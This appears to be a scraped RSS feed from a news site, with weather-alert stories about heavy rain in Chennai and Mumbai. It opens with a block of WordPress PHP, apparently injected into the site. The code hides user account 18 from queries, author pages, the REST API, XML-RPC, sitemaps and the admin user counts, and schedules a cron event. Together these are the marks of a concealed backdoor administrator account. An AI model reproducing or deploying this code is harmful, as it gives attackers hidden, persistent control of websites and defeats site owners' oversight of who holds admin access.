add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post The IMD has lifted the red signal for Chennai, although the city may still be hit by severe rains appeared first on The Edge Media.
]]>
Arrivals at Chennai airport, which had been halted between 1.15 and 6 p.m., have now resumed, according to the Chennai airport authorities. Following the restart of services, the airport has requested customers to contact their individual airlines for updates on flight schedules. According to the IMD, heavy rains are forecast in a few spots in Chennai, Thiruvallur, Kanchipuram, and Ranipet districts.
The post The IMD has lifted the red signal for Chennai, although the city may still be hit by severe rains appeared first on The Edge Media.
]]>The post More rain is anticipated in Chennai on November 10-11, prompting a red alert appeared first on The Edge Media.
]]>
The IMD issued a red alert for Tiruvannamalai, Villupuram, Chennai, Chengalpattu, Kanchipuram, and Tiruvalur on Tuesday, November 9. Nilgiris, Coimbatore, Tiruppur, Dindigul, Salem, Kallakuruchi, Tirupattur, Vellore, and Ranipet were all given an orange alert.
The post More rain is anticipated in Chennai on November 10-11, prompting a red alert appeared first on The Edge Media.
]]>The post IMD announced red alert for Mumbai appeared first on The Edge Media.
]]>With heavy rains causing water-logging, Maharashtra Chief Minister Uddhav Thackeray directed the administration to ensure that the accumulated rainwater is drained out at the earliest and transport resumed. Thackeray spoke to the control rooms in Mumbai and collectors of Thane, Raigad, Ratnagiri, Sindhudurg and Palghar districts as incessant rains led to the inundation of several areas, affecting the normal life. The Chief Minister’s Office said the Met department has declared the arrival of monsoon and predicted medium to very heavy rains in the next three days.
IMD Mumbai Deputy Director General Dr Jayanta Sarkar told news agency ANI, “Monsoon has arrived in Mumbai today, normal arrival date is 10th June every year so it has arrived prior to the average arrival date.”
Central railway PRO said local train services between Kurla and Chhatrapati Shivaji Maharaj Terminus have been halted as water is flowing over tracks between Kurla and Sion railway stations. “Traffic stopped at 9.50 am, decision taken as a precautionary measure to avoid any untoward incident. Traffic will resume as soon as water recedes,” he added.
Mumbai’s Colaba and Santacruz recorded 65.4 mm and 50.4 mm of rainfall respectively between 8:30 am on Tuesday and 5:30 am on Wednesday. South Mumbai has been witnessing heavy rainfall since late Tuesday night. Entire stretch of Breach Candy has been waterlogged and footpath too has been submerged. Rainfall also caused low visibility on eastern freeway.
The post IMD announced red alert for Mumbai appeared first on The Edge Media.
]]>